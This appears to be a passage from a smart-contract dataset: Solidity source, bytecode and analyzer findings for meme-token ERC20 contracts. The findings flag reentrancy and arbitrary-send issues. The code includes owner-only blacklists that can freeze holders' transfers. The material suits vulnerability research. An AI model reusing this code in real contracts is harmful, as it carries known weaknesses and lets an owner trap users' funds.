require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 14 && sell < 14 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
//Changing the tax collecting address
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb61461059a578063dcb0e0ad146105af578063dd62ed3e146105cf578063e8078d941461061557600080fd5b8063a9059cbb14610530578063b515566a14610550578063c3c8cd8014610570578063c9567bf91461058557600080fd5b806373f54a11116100d157806373f54a111461049d5780638da5cb5b146104bd57806394b8d8f2146104db57806395d89b41146104fb57600080fd5b8063590f897e1461043d5780636fc3eaec1461045357806370a0823114610468578063715018a61461048857600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ae57806340b9a54b146103e757806345596e2e146103fd57806349bd5a5e1461041d57600080fd5b806327f3a72a1461033c578063313ce5671461035157806331c2d8471461037857806332d873d81461039857600080fd5b8063104ce66d116101b6578063104ce66d146102b357806318160ddd146102eb5780631940d0201461030657806323b872dd1461031c57600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b3146102615780630b78f9c01461029157600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102546040518060400160405280600c81526020016b5368756d6f2043686564646160a01b81525081565b60405161021391906119c3565b34801561026d57600080fd5b5061028161027c366004611a3d565b61062a565b6040519015158152602001610213565b34801561029d57600080fd5b506102b16102ac366004611a69565b610640565b005b3480156102bf57600080fd5b506008546102d3906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f757600080fd5b50678ac7230489e80000610209565b34801561031257600080fd5b50610209600e5481565b34801561032857600080fd5b50610281610337366004611a8b565b6106da565b34801561034857600080fd5b5061020961072e565b34801561035d57600080fd5b50610366600981565b60405160ff9091168152602001610213565b34801561038457600080fd5b506102b1610393366004611ae2565b61073e565b3480156103a457600080fd5b50610209600f5481565b3480156103ba57600080fd5b506102816103c9366004611ba7565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f357600080fd5b50610209600a5481565b34801561040957600080fd5b506102b1610418366004611bc4565b6107ca565b34801561042957600080fd5b506009546102d3906001600160a01b031681565b34801561044957600080fd5b50610209600b5481565b34801561045f57600080fd5b506102b161086b565b34801561047457600080fd5b50610209610483366004611ba7565b610898565b34801561049457600080fd5b506102b16108b3565b3480156104a957600080fd5b506102b16104b8366004611ba7565b610927565b3480156104c957600080fd5b506000546001600160a01b03166102d3565b3480156104e757600080fd5b506010546102819062010000900460ff1681565b34801561050757600080fd5b506102546040518060400160405280600981526020016814d2155353d0d2115160ba1b81525081565b34801561053c57600080fd5b5061028161054b366004611a3d565b610995565b34801561055c57600080fd5b506102b161056b366004611ae2565b6109a2565b34801561057c57600080fd5b506102b1610abb565b34801561059157600080fd5b506102b1610af1565b3480156105a657600080fd5b50610209610b8c565b3480156105bb57600080fd5b506102b16105ca366004611beb565b610ba4565b3480156105db57600080fd5b506102096105ea366004611c08565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561062157600080fd5b506102b1610c17565b6000610637338484610f5d565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461066057600080fd5b600e821080156106705750600e81105b801561067d5750600a5482105b801561068a5750600b5481105b61069357600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106e7848484611081565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610716908490611c57565b9050610723853383610f5d565b506001949350505050565b600061073930610898565b905090565b6008546001600160a01b0316336001600160a01b03161461075e57600080fd5b60005b81518110156107c65760006005600084848151811061078257610782611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107be81611c84565b915050610761565b5050565b6008546001600160a01b0316336001600160a01b0316146107ea57600080fd5b6000811161082f5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461088b57600080fd5b4761089581611690565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260040161082690611c9f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461094757600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610860565b6000610637338484611081565b6000546001600160a01b031633146109cc5760405162461bcd60e51b815260040161082690611c9f565b60005b81518110156107c65760095482516001600160a01b03909116908390839081106109fb576109fb611c6e565b60200260200101516001600160a01b031614158015610a4c575060075482516001600160a01b0390911690839083908110610a3857610a38611c6e565b60200260200101516001600160a01b031614155b15610aa957600160056000848481518110610a6957610a69611c6e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ab381611c84565b9150506109cf565b6008546001600160a01b0316336001600160a01b031614610adb57600080fd5b6000610ae630610898565b9050610895816116ca565b6000546001600160a01b03163314610b1b5760405162461bcd60e51b815260040161082690611c9f565b60105460ff1615610b685760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610826565b6010805460ff1916600117905542600f556702c68af0bb140000600d819055600e55565b600954600090610739906001600160a01b0316610898565b6008546001600160a01b0316336001600160a01b031614610bc457600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610860565b6000546001600160a01b03163314610c415760405162461bcd60e51b815260040161082690611c9f565b60105460ff1615610c8e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610826565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610cca3082678ac7230489e80000610f5d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2c9190611cd4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9d9190611cd4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0e9190611cd4565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e3e81610898565b600080610e536000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ebb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee09190611cf1565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f39573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c69190611d1f565b6001600160a01b038316610fbf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610826565b6001600160a01b0382166110205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610826565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16156110a757600080fd5b6001600160a01b03831661110b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610826565b6001600160a01b03821661116d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610826565b600081116111cf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610826565b600080546001600160a01b038581169116148015906111fc57506000546001600160a01b03848116911614155b15611631576009546001600160a01b03858116911614801561122c57506007546001600160a01b03848116911614155b801561125157506001600160a01b03831660009081526004602052604090205460ff16155b156114cd5760105460ff166112a85760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610826565b600f544214156112d6576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f546102586112e79190611d3c565b111561136157600e546112f984610898565b6113039084611d3c565b11156113615760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610826565b6001600160a01b03831660009081526006602052604090206001015460ff166113c9576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f546102586113da9190611d3c565b11156114ae57600d548211156114325760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610826565b61143d42601e611d3c565b6001600160a01b038416600090815260066020526040902054106114ae5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610826565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156114e7575060105460ff165b801561150157506009546001600160a01b03858116911614155b156116315761151142600f611d3c565b6001600160a01b038516600090815260066020526040902054106115835760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610826565b600061158e30610898565b9050801561161a5760105462010000900460ff161561161157600c54600954606491906115c3906001600160a01b0316610898565b6115cd9190611d54565b6115d79190611d73565b81111561161157600c54600954606491906115fa906001600160a01b0316610898565b6116049190611d54565b61160e9190611d73565b90505b61161a816116ca565b47801561162a5761162a47611690565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061167357506001600160a01b03841660009081526004602052604090205460ff165b1561167c575060005b611689858585848661183e565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107c6573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061170e5761170e611c6e565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611767573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178b9190611cd4565b8160018151811061179e5761179e611c6e565b6001600160a01b0392831660209182029290920101526007546117c49130911684610f5d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906117fd908590600090869030904290600401611d95565b600060405180830381600087803b15801561181757600080fd5b505af115801561182b573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061184a8383611860565b905061185886868684611884565b505050505050565b600080831561187d5782156118785750600a5461187d565b50600b545b9392505050565b6000806118918484611961565b6001600160a01b03881660009081526002602052604090205491935091506118ba908590611c57565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546118ea908390611d3c565b6001600160a01b03861660009081526002602052604090205561190c81611995565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161195191815260200190565b60405180910390a3505050505050565b6000808060646119718587611d54565b61197b9190611d73565b905060006119898287611c57565b96919550909350505050565b306000908152600260205260409020546119b0908290611d3c565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156119f0578581018301518582016040015282016119d4565b81811115611a02576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461089557600080fd5b8035611a3881611a18565b919050565b60008060408385031215611a5057600080fd5b8235611a5b81611a18565b946020939093013593505050565b60008060408385031215611a7c57600080fd5b50508035926020909101359150565b600080600060608486031215611aa057600080fd5b8335611aab81611a18565b92506020840135611abb81611a18565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611af557600080fd5b823567ffffffffffffffff80821115611b0d57600080fd5b818501915085601f830112611b2157600080fd5b813581811115611b3357611b33611acc565b8060051b604051601f19603f83011681018181108582111715611b5857611b58611acc565b604052918252848201925083810185019188831115611b7657600080fd5b938501935b82851015611b9b57611b8c85611a2d565b84529385019392850192611b7b565b98975050505050505050565b600060208284031215611bb957600080fd5b813561187d81611a18565b600060208284031215611bd657600080fd5b5035919050565b801515811461089557600080fd5b600060208284031215611bfd57600080fd5b813561187d81611bdd565b60008060408385031215611c1b57600080fd5b8235611c2681611a18565b91506020830135611c3681611a18565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611c6957611c69611c41565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611c9857611c98611c41565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ce657600080fd5b815161187d81611a18565b600080600060608486031215611d0657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d3157600080fd5b815161187d81611bdd565b60008219821115611d4f57611d4f611c41565b500190565b6000816000190483118215151615611d6e57611d6e611c41565b500290565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611de55784516001600160a01b031683529383019391830191600101611dc0565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b90e86652521dc1924614bea17770c15f4f21fabadd813e86810a7a794d0c18064736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,612 |
0x3576abBd80995ef22A74E9e83C2749a69439bCaf | /**
*Submitted for verification at Etherscan.io on 2021-09-16
*/
/**
Elon Musk Tweets and We Listen!
Inspiration4 !
t.me/Inspiration4ERC
-Fixed-
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Inspiration4 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Inspiration4";
string private constant _symbol = "Inspiration4";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 9;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102c3578063c3c8cd80146102e3578063c9567bf9146102f8578063d543dbeb1461030d578063dd62ed3e1461032d57600080fd5b8063715018a6146102665780638da5cb5b1461027b57806395d89b4114610119578063a9059cbb146102a357600080fd5b8063273123b7116100dc578063273123b7146101d3578063313ce567146101f55780635932ead1146102115780636fc3eaec1461023157806370a082311461024657600080fd5b806306fdde0314610119578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082018252600c81526b125b9cdc1a5c985d1a5bdb8d60a21b6020820152905161015491906119c0565b60405180910390f35b34801561016957600080fd5b5061017d610178366004611851565b610373565b6040519015158152602001610154565b34801561019957600080fd5b50683635c9adc5dea000005b604051908152602001610154565b3480156101bf57600080fd5b5061017d6101ce366004611811565b61038a565b3480156101df57600080fd5b506101f36101ee3660046117a1565b6103f3565b005b34801561020157600080fd5b5060405160098152602001610154565b34801561021d57600080fd5b506101f361022c366004611943565b610447565b34801561023d57600080fd5b506101f361048f565b34801561025257600080fd5b506101a56102613660046117a1565b6104bc565b34801561027257600080fd5b506101f36104de565b34801561028757600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102af57600080fd5b5061017d6102be366004611851565b610552565b3480156102cf57600080fd5b506101f36102de36600461187c565b61055f565b3480156102ef57600080fd5b506101f3610603565b34801561030457600080fd5b506101f3610639565b34801561031957600080fd5b506101f361032836600461197b565b6109fc565b34801561033957600080fd5b506101a56103483660046117d9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610380338484610acf565b5060015b92915050565b6000610397848484610bf3565b6103e984336103e485604051806060016040528060288152602001611b91602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611005565b610acf565b5060019392505050565b6000546001600160a01b031633146104265760405162461bcd60e51b815260040161041d90611a13565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104715760405162461bcd60e51b815260040161041d90611a13565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104af57600080fd5b476104b98161103f565b50565b6001600160a01b038116600090815260026020526040812054610384906110c4565b6000546001600160a01b031633146105085760405162461bcd60e51b815260040161041d90611a13565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610380338484610bf3565b6000546001600160a01b031633146105895760405162461bcd60e51b815260040161041d90611a13565b60005b81518110156105ff576001600a60008484815181106105bb57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f781611b26565b91505061058c565b5050565b600c546001600160a01b0316336001600160a01b03161461062357600080fd5b600061062e306104bc565b90506104b981611148565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161041d90611a13565b600f54600160a01b900460ff16156106bd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fa3082683635c9adc5dea00000610acf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040